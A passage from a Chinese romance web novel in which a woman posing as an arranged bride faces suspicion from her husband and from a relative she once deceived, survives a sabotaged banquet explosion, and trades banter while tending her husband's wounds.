沈错拿起毛巾,帮菘蓝擦了擦额头的细汗,轻声问道:“你想吃什么?我让人重新给你做。” 菘蓝吸了吸鼻子:“我想喝薏仁马蹄粥,多放点薏仁。” 沈错:“好!” 菘蓝喝完粥,身体又发了汗,盖着被子沉沉睡去。 趁菘蓝熟睡,沈错去看了庭院里的监控。 他一帧一帧反复观看,没放过任何片段。 当看到菘蓝推门撞进周正安怀里,而周正安用手环住她的腰,一脸紧张地看着她的时候,沈错硬生生捏碎了手里的遥控器。 嗤得一声,赤色的火苗蹿出打火机。 沈错的身体隐在阴影里,侧脸忽明忽暗,他单手夹着烟,指尖猩红一点,神情晦暗不明。 “顺儿,你要是遇到这种情况,第一时间会做什么?” 沈错问站在身后的小保镖。 小保镖叫李顺,长了一张小圆脸,看起来十分喜庆。 沈错很少吸烟,他只有心情差到极点的时候,才会闷头抽烟,李顺生怕说错话,硬着头皮提着胆子,老老实实回答道: “如果是我,我肯定第一时间扶起少夫人,然后立马通知您。” 沈错闷了口烟,苦淡的烟味一直从肺部灼烧到鼻腔,然后化作青白色的雾。 是啊,一般人遇到这种情况,肯定第一时间通知病人家属。 而他的好表叔是怎么做的? 他没有给他打电话,而是一脸心疼地搂着他老婆,又是喂药又是煲汤。 他把她照顾得无微不至,细心体贴。 就好像,他才是她的丈夫一样。 沈错咬着烟,半眯着眸子,眼神冷得吓人,“他周正安,该不会是想翘我墙角吧?” “少爷,这不能吧?按照周家表叔的人品,他....他应该干不出来这种事吧。” 李顺挠了挠头。 周家表叔的人品有目共睹,说实话他宁愿相信少爷撬别人墙角,也不信周正安对少夫人会有什么想法。 沈错斜睨了李顺一眼:“你这么相信他,那你滚去跟着他吧。” 李顺吓得连忙摆手:“哇,少爷我错了,我.....我我我就跟着你,我的命是你救的,我要跟你过一辈子!” 沈错气得抬腿踹了李顺一脚:“滚!谁要跟你过一辈子!” 李顺疼得龇牙咧嘴,动作滑稽地跳着脚逃到一边,偷偷看了眼沈错。 他看得出来,少爷非常在意少夫人。 只是他觉得有些奇怪,少爷明明很抗拒跟徐家联姻,为什么突然会改变主意回来结婚,还对少夫人那么上心。 室内烟雾缭绕,指尖的香烟寸寸燃烧,沈错轻轻一掸,一截灰烬落进了烟灰缸里。 他眼眸幽深,嘴角勾起一抹不怀好意的微笑,“顺儿,你去一趟青州,把周家表婶接过来。” 李顺听完,眼睛顿时一亮。 少爷这一手高明啊! 这男人有老婆管着就老实了。 李顺连忙回道:“明白!” ........ 当天晚上,青州的桂香便飘进了海都。 叶心蕊在一大帮佣人的簇拥下进了沈园,她穿着一袭红裙,头上戴着白色的香奈儿平顶帽,手里捧着青州特有的银桂花,脸上隐隐透着一抹迫切与激动。 她快走到周正安客居的宅院,兴奋地冲他招手。 “正安!我来啦!” 看到叶心蕊,周正安眼底闪过一抹意外,他微微拧眉,语气冷漠道,“你怎么来了?” 叶心蕊嘟着嘴,语气中带着一丝娇嗲,”什么呀,不是你让人接我来的吗?” 说完,她像献宝一样,把手里的桂花递给周正安,笑吟吟道: “诺,你最喜欢的桂花,你走后不久,青州的桂花就开了,这些是我亲手给你摘的哦。” 周正安看着银桂默默不语,脑海里浮现出菘蓝的小脸。 他喜欢桂花,是因为她喜欢吃桂花味的东西。 叶心蕊凑到周正安身边,伸手合上他面前的笔记本,挽起他的胳膊道: “别忙工作了,我第一次来沈家,你要带我认认亲戚。” 对于叶心蕊的到来,周正安有些烦躁,他不动声色地抽出胳膊,重新打开笔记本,声音冷淡道: “应该是沈家的人接你来的,跟我无关,我有个视频会议,你自己去园子里转转吧。” 听到这话,叶心蕊嘴角的笑意顿然消失,她紧咬着唇,心头涌起一阵委屈与不甘。 周正安跟那个冒牌货在一起的时候,两人整天黏在一起,如胶似漆,可却对她如此冷漠。 有时候她都怀疑周正安知道了真相,不然他不可能会这么对她。 在佣人的陪同下,叶心蕊足足在沈园逛了两圈,才平息心底的烦躁与怨气。 她想通了,不管怎么样,现在陪在周正安身边的人是她。 就算那个冒牌货站在她面前,也要恭恭敬敬喊她一声周太太。 不过,如果哪一天,让她真碰到了那个冒牌货,她一定先活撕了她! 第十三章 敏锐的男人 菘蓝并不知道她曾假扮过的叶小姐来了沈家,安稳地睡了一个晚上。 早上醒来,她感觉身体恢复了不少,头也不晕了,腿也不疼了,身体也有力气了。 沈错看到菘蓝醒了,连着被子把她抱进怀里,像摸小动物一样,摸摸她的头,又摸摸她的脸。 额头和脸颊是温凉的,沈错松了口气,他看着菘蓝道: “怎么样,感觉身体好点了吗?” 沈错昨晚一直守在床边,一整晚没睡,眼眶微微泛着青意。 菘蓝披着被子,轻轻嗯了一声,“嗯,已经没事了。” “沈家有很多佣人和保镖,以后再遇到这种事,不要抢在前面,如果你出了什么事,我会疯掉。” 沈错嗓音发哑,他轻轻抚着菘蓝的发顶,语气很轻但眼神很认真。 菘蓝静静看着沈错,有那么一瞬间,她突然觉得男人眼里的关心和在意不是假的。 但她仅仅只相信了一秒。 她很早就知道,人与人之间的一切交互都是利益互换。 没有人会无缘无故对你好,突如其来的关心都藏着蓄谋已久的筹算。 就算他有真心,她也拿不出可以等价交换的筹码。 况且,她跟沈错,仅仅才认识三天。 虽然不知道沈错出于什么目的,但如果这人愿意跟她演夫妻恩爱的戏码,那她就陪他演。 在沈家,她还要靠少夫人的身份行事,跟沈错保持明面上的友好关系,对她有好处。 菘蓝往沈错怀里缩了缩,像只乖巧的猫咪一样蹭了蹭他的胸膛,瓮声瓮气道: “好,知道了,老公。” 说话间,菘蓝眼角余光瞥到屋外人影晃动,过了一会,窗台上探出一个毛茸茸的小脑袋。 屋外,岁岁小朋友踩在小凳子上,背影像个竖在墙角的小冬瓜。 小家伙脸蛋红扑扑的,乌溜溜的杏仁眼转呀转,一个劲地瞅着菘蓝,像是有什么话要说,她很想进房间,但表情怯怯的。 菘蓝朝她招了招手,“进来吧。” 岁岁开心地喊了声婶婶,迈着小碎步跑了进来,把手里的小饼干塞到菘蓝怀里。 “婶婶,给你吃小饼干。” 这是沈岁岁的谢礼。 沈错有点嫌弃,“你婶婶为了救你生了重病,你就拿一袋饼干来看她?” 沈岁岁两根胖乎乎的手指绕啊绕,豁着漏风的门牙小心翼翼道: “额额,这是岁岁最喜欢的小饼干,都给婶婶了。” 看着岁岁怯怯的眼神,菘蓝推了一下沈错,“好了,别为难一个三岁的小孩子。” 比起成年人,菘蓝比较喜欢跟小孩打交道。 小孩心思简单,喜怒哀乐都表现在脸上,跟小孩相处,她不累。 菘蓝把岁岁抱到怀里,捏了捏她肉乎乎的小脸,笑眯眯道:“婶婶喜欢小饼干,谢谢你。” 岁岁低着小脑袋,绞着手指头,很认真道:“婶婶,我....我还要给你道歉,岁岁骂婶婶,岁岁坏。” 沈错挑了挑眉,伸手两根手指,将岁岁胖嘟嘟的脸庞捏成了小鸡嘴。 “那你当时为什么要骂你婶婶?” 岁岁撅着小鸡嘴,含糊不清道:“呜呜....是姨姨说的,姨姨说婶婶是脏....脏货。” 沈错目光骤然变冷,一字一顿道:“是哪个姨说?” 岁岁被沈错的气势吓得打了个激灵,顿时不敢说话了,嘴巴扁扁,眼眶立马湿润了,一副即将开哭的样子。 “好了,你别凶她了,我们岁岁是知错就改的好孩子就行。” 菘蓝揉了揉岁岁的小脑袋,给她擦了擦眼泪。 可小孩子不能哄,一哄就会觉得自己特委屈,一委屈就要哭。 “呜哇.....” 岁岁扯着嗓子嚎了起来,一边擦眼泪一边瑟瑟发抖地看着沈错。 “哎呀,你先出去,你吓到她了。” 菘蓝推了沈错一把,像赶苍蝇一样把他赶到屋外。 砰得一声,房门关上,沈错讶然地站在原地,然后摸了摸鼻子离开了。 岁岁很好哄,没一会就破涕为笑,缠着菘蓝一个劲地喊她美人婶婶,最后赖在菘蓝身边不肯离开。 看到小孩情绪稳定了,菘蓝又问了刚刚那个问题。 岁岁歪着小脑袋,掰着细软的手指头,软糯糯道:“是岁岁听见姨姨们说话,她们这样说婶婶的。” 她们? 菘蓝垂着眼,她想不通,她刚进沈家没多久,也没跟任何人树敌,怎么就招人不待见了。 菘蓝:“你姨姨们还说了什么吗?” 岁岁摇了摇头:“岁岁去玩泥巴了,岁岁不知道了。” 眼见从小孩嘴里问不出什么,菘蓝便不问了。 没一会,几个佣人请菘蓝去前厅吃饭。 佣人:“少夫人,今天园里摆了宴席,老爷子让我们来请少爷和少夫人。” “呜哇!宴席!有好吃的!” 岁岁一听到有宴席,眼睛都亮了,她挥舞着胖乎乎的小爪子喊道: “美人婶婶,美人婶婶,我们快去宴席,去吃小蛋糕!” 菘蓝想了想,问道:“那周家表叔在吗?” 她实在是不想见到周正安。 周正安现在看她的眼神,不清不楚的。 她十分怀疑周正安是知道了什么。 还没等佣人回答,沈错冰冷的声音就飘进来。 “你问这个干什么?你很在意周正安?” 站在门口的沈错,表情有些吃味,他走到菘蓝面前,双手按着她的肩,直视着她的眼睛,缓缓道: “你跟他,认识?” 菘蓝睫毛颤了颤,“不啊,我怎么可能认识周家的人,婚礼上第一次见。” 沈错眯着眼,眸中暗流翻涌,“可是,我觉得,他看你的眼神并不清白。” 菘蓝眼尾微不可察地跳了一下。 这男人,真是敏锐。 菘蓝板起脸,假装生气道: “你可别乱说,你说这种话,要是被人听见,外面不知道会传成什么样子。” 沈错目光扫向一旁的佣人,嘴角微微勾起,微笑道:“你们会乱传吗?” 佣人们顿时脸色发白,连忙指着苍天发誓:“少爷,我们不会乱嚼舌根的,绝对不会!我们知道嚼舌根的后果!” 沈错满意地点了点头:“嗯,知道就好。” 看到菘蓝生气地板着小脸,沈错连忙揽着她的腰,将她轻轻拥进怀里,低声哄道: “老婆,我没有别的意思,你别误会,只是周正安看你的眼神,让我非常不舒服。” 菘蓝垂着眼没理他,冷着脸去换了礼服。 到了宴会厅,菘蓝突然听到里面传来一个熟悉的女声。 她眼尾骤然一跳。 叶心蕊居然来了沈园? 第十四章 他拿所有人当幌子 在周家的时候,她靠着模仿声音,在周正安面前假扮了一年的叶心蕊。 离开周家后,她从未想过有一天能遇到正主。 她虽然没跟叶心蕊见过面,但她不清楚叶心蕊有没有调查过她。 菘蓝站在厅外,提着裙摆踟蹰不前,沈错察觉到她的异样,揽着她的腰,问道:“怎么了?你身体又不舒服?” 菘蓝咬着唇,想着要不要装病离开,但她还没来得及说话,守在门边的佣人就飞快地拉开大门,高喊道: “少爷,少夫人到!” 一瞬间,所有人都向门口看了过去。 菘蓝穿着一身金色的高定礼裙,礼裙腰部收拢下摆展开,行走间金色裙摆波光流转,像一朵盛开的花。 沈错穿着挺括的黑西装,身姿挺拔,神色傲然,他修长的大手以一种绝对掌控的姿态,揽着菘蓝的腰。 “呀,侄子和侄媳妇,真是一对璧人呀。” 叶心蕊看着门口的两人,浅笑着赞美了两句,而她身边的周正安默然不语,拧眉看着箍在菘蓝腰间的那双手。 那双手紧绷有力,占有欲爆棚。 他抬起头,发现沈错正在看他,眼神中透着浓浓的警告。 周正安淡淡看了沈错一眼,低头给自己倒了一杯酒。 叶心蕊对一切都毫无察觉,面色平静,只是看向菘蓝的目光多了一抹惊艳。 见叶心蕊神色如常,菘蓝便知道她并不认识自己,微微松了口气。 看来周家善后工作做得很不错,没有泄露她的任何信息。 沈错低着头,凑在菘蓝耳畔轻声道:“你身体要是不舒服,我就送你回去。” 菘蓝摇了摇头:“不用,我没什么事。” 反正来都来了,要是一直躲着周正安,反而更令他起疑。 两人低头凑在一起说悄悄话的模样,像极了耳鬓厮磨的恋人。 周正安抿着唇,眉眼沉沉,脸色不大好看。 落座之后,菘蓝才知道,原来这场宴席是为周正安和叶心蕊举办的。 周正安一个人来沈家,跟带着新媳妇来沈家是两码事。 沈家为了表示尊重,特意摆了迎客宴。 叶心蕊擅长社交,很快就跟沈家人聊的熟络,而周正安则是沉默地坐在椅子上,目光时不时飘向斜上方的玻璃。 没人注意到,那块玻璃折射着一道窈窕的金色倩影。 周正安通过玻璃倒影,悄悄关注着菘蓝的一举一动,一颦一笑。 菘蓝的仪态很好,她颈部修长,背脊很薄,蝴蝶骨清晰漂亮,脖子上戴着一串珍珠,衬得肌肤莹莹生光。 看着她脖颈上的项链,周正安想起了以前。 那时他重伤失明,连吃饭都需要人喂,往常轻而易举能做到的事,现在都无法完成,整日只能像个没用的废物一样活着。 而她到他身边以后,经常让他帮忙扣项链。 他要摸索好半天才能帮她戴好。 每次帮她戴好项链,她都会说一声谢谢。 从那时候起,他觉得自己这个废物至少还有点用。 除了帮忙戴项链这种小事,她还经常使唤他拧瓶盖,捏核桃,剥瓜子...... 她几乎不拿他当盲人看待,他崩塌的自信,正是从这些一点一滴的小事中重新积攒起来的。 知道她喜欢漂亮的首饰,他隔三差五就送,但她走的时候,一条都没有带走。 现在那些宝石项链,都躺在叶心蕊的首饰盒里。 周正安想了想,点开手机发了条短信,之后离开了宴席。 等他再回来的时候,身后跟着十几个保镖,每个保镖手里都拿着礼品袋。 周正安看向众人,彬彬有礼道:“这是我替夫人送你们的见面礼,希望大家喜欢。” 沈家的女眷都收到了礼品,有人收到的是镯子,有人收到的是戒指,有人收到的是胸针,有人收到的是耳环。 每一样饰品都镶嵌着价格不菲的宝石。 众人都很高兴,叶心蕊也觉得倍有面子,她嘴角微微翘起,双颊绯红,看向周正安的目光雀跃着爱意。 不管平时相处如何,在外人面前,周正安给足了她尊重和脸面。 他心里一定是有她的! 菘蓝收到了一条Moonlit Waltz(月夜华尔兹)钻石项链。 她打开盒子的刹那,天花板瞬间被照亮了。 项链由多层水晶宝石编织而成,像一条流动的璀璨银河,银河正中间镶嵌着一颗极其罕见的天然紫钻。 就算再不识货的人,也能看出这条项链价值连城。 叶心蕊眼睛都看直了,她记得这条Moonlit Waltz是周氏琳琅珠宝的尖端之作,价值5.8个亿。 叶心蕊看向周正安的眼神,从炽热逐渐转变成了离谱。 这么贵这么好看的项链,他居然送了别人? 而且,还是以她的名义送出去的? 菘蓝并不知道这条项链的价值,只觉得很漂亮很好看。 周家的珠宝生意做得很大,她在周家的时候,周正安经常送她珠宝首饰,每一件都很漂亮,只可惜她一样都带不走。 见菘蓝目光沉浸,眉眼含着笑意,一副很喜欢的样子。 周正安万年不变的表情终于出现了变化。 他唇角微微勾起,眼底笑意蔓延。 为了送她礼物,他拿所有人当了幌子。 沈错在一旁冷冷地看着,他没有错过叶心蕊脸上的惊愕和不舍,也没有错过周正安嘴角的笑容。 他看得分明。 那种笑容,分明是给心爱之人送对了礼物而产生的愉悦。 菘蓝瞥见周正安对她笑,顿时浑身不自在。 这冰山突然对她笑什么啊! 他不对他老婆笑,对她笑个什么鬼! 菘蓝忙低下头,有些心虚地躲避周正安的目光。 沈错也没错过菘蓝刻意回避的举动,嘴角的笑意越来越冷。 他扫了一眼菘蓝又扫了一眼周正安,觉得这两人之间一定有什么。 第十五章 你不是想做吗 稍后,沈错又摇了摇头。 不对,他老婆是清白的! 是周正安看他老婆的眼神不清白! 沈错低头剥了一只虾,把白嫩的虾仁递到菘蓝嘴边,声音温柔道: “来,老婆,尝尝这个。” 众人皆是一愣,一脸惊愕地看着沈错。 那个燥郁冷漠,喜怒无常的疯子,什么时候变得这么温柔了? 白嫩的虾仁冒着热气,鲜香扑鼻。 顶着众人诧异的目光,菘蓝神色自然地吃掉了嘴边的虾仁。 “味道不错吧,再给你剥几只。” 沈错又剥了几只虾,他趁着菘蓝吃虾仁的功夫,顺手盖上了装项链的盒子,然后把盒子丢到了一边。 叶心蕊神色黯淡地坐回椅子上,心里憋屈极了。 那条Moonlit Waltz项链是周氏琳琅珠宝的展览品,她一直很喜欢。 可周正安却把它送给了别人,而且还是以她的名义送的,她还不能说什么。 整场宴席,叶心蕊的脸上再也没有出现过笑容。 不过菘蓝却吃的很开心,今日宴席的主厨来自淮西,菘蓝从小在淮西长大,今天的饭菜格外合她的胃口。 最后一道主菜是炙全羊。 羊肉烤的焦香,金黄的油脂滴进火炉里,发出噗嗤噗嗤的声音。 厨师推着烤炉,转着圈给众人分食。 当车子推到菘蓝身边的时候,车上的烤炉发出一声细微的炸裂声。 菘蓝没有察觉,但沈错的目光却猛地一沉。 他瞬间起身,一把将菘蓝拉进怀里,随后两人背后炸开一声巨响。 轰隆! 烤炉爆炸了。 燃烧着火焰的油脂溅得到处都是,沈园的建筑多为木质结构,半个宴会厅瞬间沦为火海。 “啊啊啊啊!” 众人被突如其来的变故吓得尖叫离席,四处逃窜。 惊慌失措的叶心蕊下意识想抱住周正安,结果却扑了个空。 火光中,她看到周正安往大厅深处跑去。 她着急大喊:“正安!你要去哪!” 周正安没有理她,像疯了一样跑进火海中。 刚才,菘蓝被火光笼罩的那一刻,他的心跳也瞬间停止。 周正安脑海一片空白,但他的身体反应比大脑要快,义无反顾地冲进了浓烟。 烤炉爆炸的前一秒,沈错抱着菘蓝往前扑了一段距离,随后两人被气浪甩飞了出去。 菘蓝没受什么伤,但裙摆着了火,脚踝处一阵灼热。 她迅速提起腰间的礼裙,想要撕开裙摆。 赶到的周正安看到菘蓝裙摆着火,端起身旁的鱼缸,朝她泼了过去。 噗嗤一声,火焰与冷水撞出蒸腾的白色雾气。 火被浇灭了,金色的裙摆变得残破灰败,菘蓝纤细白嫩的脚踝微微泛红。 担心她被灼伤,周正安单膝跪地,仔细查看她的脚踝。 一股混合着雪松与皮革的气息扑来,跌坐在地上的菘蓝,瞬间被男人高大身躯的阴影包围。 看到周正安这么紧张自己,菘蓝微微一愣,心底一团乱麻。 完了,她该不会真被认出来了吧。 两人一坐一跪,一俯一仰,姿态有些亲昵。 沈错冲过来的时候,正好看到这一幕,他五指并拢,紧握成拳,极力压抑着怒气。 生死之际,他的好表叔不去保护自己的妻子,反倒跑来保护他的老婆? 其行可疑,其心必诛! 菘蓝一抬眼,就看到了阴沉着一张脸的沈错。 她心里咯噔一下,完了,这下更解释不清了。 危难当头,周正安不护着自己老婆,反而跑来护着她,傻子也能看出里面有问题啊。 更何况沈错还那么敏锐。 菘蓝慌忙从地上爬起来,跌跌撞撞扑进沈错怀里,抬起水雾迷蒙的眼眸,带着一缕哭腔道:“老公,你没事吧?” 这一声饱含担忧的哭腔,瞬间浇灭了沈错心头的怒火。 他低头看着菘蓝,看到她担忧的眼睛里都是他,突然就不气了。 他拦腰抱起菘蓝,看向她微微泛红的脚踝,有些心疼地问道:“有没有事?疼不疼?” 菘蓝轻轻吸了吸鼻子,“没事的,不疼。” 沈错托着菘蓝的身体,轻轻往上掂了掂,“我先带你出去。” 随后,他似笑非笑地看了周正安一眼,“表叔,你最好想一想,等会该怎么跟表婶解释。” 大火很快被扑灭,沈错抱着菘蓝回到了水云居。 他轻轻把菘蓝放到沙发上,抓起她的脚踝,细细查看。 掌中的玉足白皙细腻,如羊脂玉般温润光滑,脚踝纤细紧致,并没有灼伤的症状,只是微微有点泛红。 沈错拧眉:“你真没事?” 菘蓝抿了抿唇:“没有,我只是摔出去的时候,崴了一下脚。” 刚刚也是够惊险的,如果不是沈错反应够快,她现在已经被炸伤了。 沈错看了菘蓝一眼:“好好待着,别动。” 说完,他转身拿了一瓶药,用温热的指腹化开药膏,抹在菘蓝的脚踝上。 他的动作十分轻柔,像在擦拭一件易碎的艺术品。 菘蓝默默地看着沈错,眼睛眨啊眨。 其实这些小伤对她而言,根本不痛不痒。 她小时候,跌打损伤,折手断脚都是常有的事。 突然,菘蓝注意到自己手心有一抹血迹。 她又没有受伤,哪来的血迹? 菘蓝突然想到,她刚刚被抱回来的时候,双手一直搭在沈错身上。 难道是沈错受伤了? 菘蓝仰起雪白的小脸,伸手拽住沈错的衣领,声音急切道:“你快把衣服脱了。” 她要看看他伤哪了,伤得重不重。 听闻,沈错眼底先是闪过一抹错愕,然后那抹错愕如烟花般绽开,化作璀璨的繁星。 他抬起亮晶晶的眼眸,捧住菘蓝的小脸,热情地吻了下去。 突如其来的热吻让菘蓝有点懵,她偏过头,挣扎着躲到了旁边。 “你.....你干嘛啊!” “沈错!你突然又发什么神经!” 菘蓝狠狠把沈错推到一边,用看流氓一样嫌弃的眼神看着他。 沈错迷茫地看着菘蓝。 他的女孩又生气了,一双琉璃杏眸瞪得溜圆,脸颊气鼓鼓的。 沈错舔了下唇,“你,不是想做吗?” 菘蓝:“哈?” 第十六章 被你骂爽了 菘蓝举起沾着血迹的手心,气到声音变调。 “我真不知道你一天到晚都在想什么!我让你脱衣服,是想看你哪里受了伤!” “哦....” 沈错眼神稍黯,有些失落地哦了一声。 菘蓝没好气地瞪了他一眼,“你转过去,我看一下伤哪了。” 沈错没有动,微微挑了下眼皮:“没什么事,后背有点擦伤而已。” 菘蓝睫毛颤了颤,刚刚爆炸的时候,沈错用后背帮她挡住了冲击,他一定伤得不轻。 她佯装嗔怒,用拳头轻轻砸了一下沈错,用娇蛮的口吻道: “本小姐让你转过去你就转过去,要是不听话,晚上就别想进房间!” 沈错压低身子,一把抓住菘蓝的小拳头,轻轻吻了一下,低笑道: “老婆,你得改改口,你现在应该自称本夫人。” 菘蓝眨巴眨巴眼睛,扬起雪白的小脸,“好,那本夫人现在命令你转过去。” 沈错低笑:“遵命,夫人。” 沈错转过身后,菘蓝才发现他的后背已经被鲜血浸湿了,因为穿着黑色西服,血迹并不明显。 脱掉西装外套和衬衫,沈错赤裸着上半身,后背肌肉线条分明。 他双手随意地撑在身后,背部每一块绷起的肌肉都充满了爆发力。 只是有一道伤口从左肩胛骨贯穿到后腰,时不时往外渗着血。 菘蓝轻轻屏住呼吸,这道伤口应该是被烤炉碎片划出来的。 沈错的背部除了这道伤口,还有其他大大小小的疤痕。 那些疤痕像游蛇一样攀附在脊背上,有些虽然已经淡化,但隐约还能看见。 菘蓝眸光微闪,指腹轻轻抚过凸凹的疤痕。 沈错可是养尊处优的少爷,后背怎么会有这么多伤痕? “你这些是伤痕是怎么弄的?” 菘蓝轻轻问了一句。 沈错没有回答,仰头闭着眼睛,脖颈线绷得笔直。 后背酥酥麻麻的痒意让他有些难受。 菘蓝并没有察觉到沈错的异样,好奇地用指腹摩挲着他后背的伤疤。 沈错滚了滚干涩的喉咙,极力压下骨子里疯狂叫嚣的躁动,他睁开眼睛,哑着嗓子道: “夫人,你再撩拨下去,我就不知道接下来会发生什么了。” 看着沈错滚烫的眼神,菘蓝像是被烫到了一样,连忙收回手,骂道: “谁撩拨你了!是你自己脑子不正常!都伤成这样了,还想些不正经的,狗男人!” 菘蓝骂了两句,双颊变得绯红,像夏日傍晚的粉霞,好看极了。 沈错静静看着菘蓝,唇角微微勾起,眼底一片笑意。 菘蓝拧眉:“你笑什么?” 沈错继续笑:“可能是被你骂爽了。” 菘蓝:“???” 神经! 菘蓝把手里的绷带和碘伏往沈错怀里重重一摔“我不管你了,你自己弄吧!” 说完,她扭头走进了卧室。 过了一会,沈错汲着拖鞋走到门边,他单手扶着门框,手臂上的肌肉微微凸起。 “老婆,你还是帮我一下吧,后背的伤,我够不到。” “滚!” 菘蓝抄起枕头砸了过去。 沈错连忙闪身躲避,然后怏怏地走回了客厅。 过了一会,客厅传来断断续续的撕裂声。 菘蓝往外看了一眼,看到沈错正在缠绷带,因为够不到后背,他用嘴叼着绷带,侧着身子打了个结。 “动作这么熟练,你平时没少跟人打架吧?你后背这些伤痕,是不是就这么来的?” 菘蓝觑着眉眼看他。 沈错动作微微顿了一下,然后笑着看向菘蓝:“是啊,我脾气不怎么好嘛,经常跟人打架。” 菘蓝听出沈错语气中的敷衍,不置可否地嘟了嘟嘴角,走到他身旁坐下: “你转过来,我帮你包扎。” 帮沈错处理好伤口,菘蓝转身要走,结果被他拦腰抱住。 沈错垂着眸,用手箍着她的腰,把下巴搁在她的头顶,低喃了一声: “等等,先别走,让我抱一会......” 不知道是不是错觉,菘蓝从沈错的语气中听出一丝低落。 她没有挣扎,静静地让沈错抱着。 抱了一会,沈错突然捧起她的脸,说了句:“谢谢你,也感谢老天爷,老天爷终于对我好了一次,不对,是好了两次。” 菘蓝被这句没头没尾的话弄得莫名其妙,一头雾水地看着沈错。 “你在说什么?” 沈错眼底掠过一抹微光,低声笑了笑,“没什么。” 说完,他捧起菘蓝的小脸,轻轻落下一吻。 “你干嘛啊!” 菘蓝蹙着眉,一脸抗拒地推开了沈错。 这死男人,怎么总占她便宜。 沈错被推了个趔趄,依旧看着她笑: “你是我老婆,我为什么不能亲你,而且你不是也喜欢我吗?既然互相喜欢,为什么不能亲热?” 两人相对而立,一高一矮,一个臭着脸,一个臭不要脸。 菘蓝嫌弃地用手背擦了擦脸,仰头看着沈错:“我什么时候说喜欢你了!” 沈错挑了挑眉:“婚礼那天,你明明说对我一见钟情。” 菘蓝有点无语。 她当时不过是逢场作戏,他居然还当真了? 这人这么纯情的吗? 菘蓝抿了抿唇,眼底眸光微动。 不行,她得把这个误会解决掉。 菘蓝双手负在身后,歪着脑袋看向沈错,表情认真道: “可一见钟情钟意的是脸呀,你这张脸虽然很帅,但我已经看腻了。 你要明白,我们是商业联姻,本就没有任何感情基础。 我对你那种浅薄的喜欢啊,风一吹就散了。” 听闻,沈错不说话了,他愣愣站在原地,紧紧盯着菘蓝,心脏寸寸缩紧。 他从不信命。 可是,日转星移,岁月更迭,他居然在错位的时空,收到了二十年前的回音。 正是那道回音,击毁了他给自己筑就的悲惨地狱,让他重获新生。 那道声音的主人,让他苦苦追寻了多年。 而三年后,命运之手,却将他苦寻之人变成了他的新娘。 星辰闪烁,轨迹交错,一切都是命中注定。 他对她念念不忘,她对他一见钟情。 从那天起,他便开始相信宿命。 第十七章 她又不是徐幼蓝 沈错缓缓收起唇边的笑意,眼神中闪烁着异样的偏执。 他圈着菘蓝的腰,在她头顶低声道: “徐幼蓝,我们在一起,这是命中注定的事情,感情可以慢慢培养,我也会给你时间。” 看着沈错笃定的神情,菘蓝眼神飘忽,不置可否地咬了咬唇。 什么命中注定啊,她根本就不是徐幼蓝。 “我困了,去睡觉了。” 菘蓝冷着脸挣脱沈错的怀抱,然后转身走进卧室。 她砰得一声关上门,声音冷淡道: “我白天睡觉很容易醒,不习惯身边有人,你别进来。” 跟在后面的沈错立即止步,他没再纠缠,默默穿好衣服离开了水云居。 外面在下雨,小雨淅淅沥沥。 雨珠在青石板上到处乱蹦,古色古香的沈园笼罩在淡淡的水气中,很有诗意。 沈错静静站在雨中,抬头看着阴暗低垂的天空。 他的下颌线利落流畅,覆着一层薄薄的皮肉,骨相极美,整个人透着一种冷冽、锐利和孤绝的气息。 他的心情不太美丽。 他还真以为,他的小新娘对他一见钟情。 结果,她说,她只是浅薄地喜欢了他一下。 雨势逐渐变大,雨珠沿着屋檐连成了雨帘。 沈错缓缓吐出一口浊气,眼神逐渐变得偏执笃定。 没关系,他和她的人生轨迹既然已经交织,那他就会一直纠缠下去。 “哗啦....” 哗得一声,一柄黑伞张开,罩在沈错的头顶。 赶来的李顺撑着伞,恭恭敬敬地站在旁边,汇报道: “少爷,我们检查了现场,正如您所料,宴席上的烤炉被人做了手脚,那爆炸并不是意外。” 听闻,沈错眼神瞬间变得冷戾。 李顺:“少爷,我有点想不通,少夫人刚到沈园,跟任何人都没有过节,到底是谁想要害她?” 沈错嘴角勾起一抹冷笑,轻轻摇了摇头:“不,今天的事情是冲着我来的。” 呵,他才刚回来,就有人坐不住了啊.... 透明的雨水从高空垂落,砸在头顶的枝叶上,滴滴答答。 沈错站在雨中,眸中的冷意比秋雨还要凉。 他看向远处的重重屋檐,眼底掠过一抹杀气。 他们对他耍任何手段都行,可偏偏不该把她牵扯进来。 沈错看向李顺,“我的好表叔那边是什么情况?” 提到这件事,李顺嘿嘿一笑,“嘻嘻,少爷,你是没看见,周家表婶一直黑着个脸呀,夫妻俩估计要吵架喽。” 沈错嗤笑一声:“呵,传言果然有假,他们夫妻并没有那么恩爱。” 另一边,沈家别苑。 几个佣人正围着叶心蕊,给她上药。 她刚刚逃跑的时候,胳膊被火星子烫了几个水泡。 叶心蕊冷着脸坐在沙发上,一脸幽怨地看着埋头敲笔记本的周正安。 敷完药后,她赶走了佣人,走到周正安身边,难过地哽咽了两声。 “正安,刚刚那么危险,你怎么能抛下我,跑去救别人,我可是你妻子!” 叶心蕊红着眼眶,委屈地咬着唇,一副泫然欲泣的模样。 周正安抬起头,冷漠地看了她一眼,然后又低下头,继续工作。 感受到男人的漠视,叶心蕊心里很不是滋味,她捂着受伤的手臂,哭诉道: “正安,我不知道我做错了什么,让你对我这么冷漠。 如果你哪里对我不满意,可以说出来。 以前你受伤的时候,是我一直在照顾你,那时候,我们的感情那么要好.....” “啪!” 周正安啪地一声合上笔记本,语气冷硬道: “叶小姐,有些事情我不想说穿,我已经给足了你体面。” 听到这话,叶心蕊心里咯噔了一下。 周正安这话是什么意思?难道他已经知道了真相? 当初,周正安重伤失明,她为了逃脱婚约,找人散播自己意外死亡的谣言。 而周家为了照顾周正安的情绪,便找人假扮她。 后来周正安身体恢复,她便澄清死亡谣言回了国,顶替了那个冒牌货。 叶心蕊心里惴惴不安,她咬了咬唇,看向周正安: “正....正安,你说这话是什么意思?” 周正安面无表情地叶心蕊,语气冰冷道: “叶小姐,我说的是什么,你自己心里应该明白。 真的假不了,假的真不了,做人最重要的是诚实。” 话说到这种份上,等于直接撕破了脸皮。 屋子里静悄悄的,叶心蕊紧紧攥着手,发白的指尖深深掐进掌心,一时间心乱如麻。 原来他都知道了..... 怪不得他对她这么冷漠。 慌乱中,叶心蕊掐着手心,逼自己冷静下来。 随后,她红着眼眶,眼神缱绻地看着周正安: “正安,我和你是家族联姻,不管怎么样,我们最终还是要在一起的。” 周家想要独揽青州,离不开叶家的助力,两家强强联合,只有好处没有坏处。 所以当初她回来的时候,周家对她既往不咎,甚至还帮她一起欺骗周正安。 周正安淡淡看了叶心蕊一眼,眼底波澜不惊,没有任何情绪。 他看叶心蕊的眼神,没有怒意没有怨恨更没有妥协。 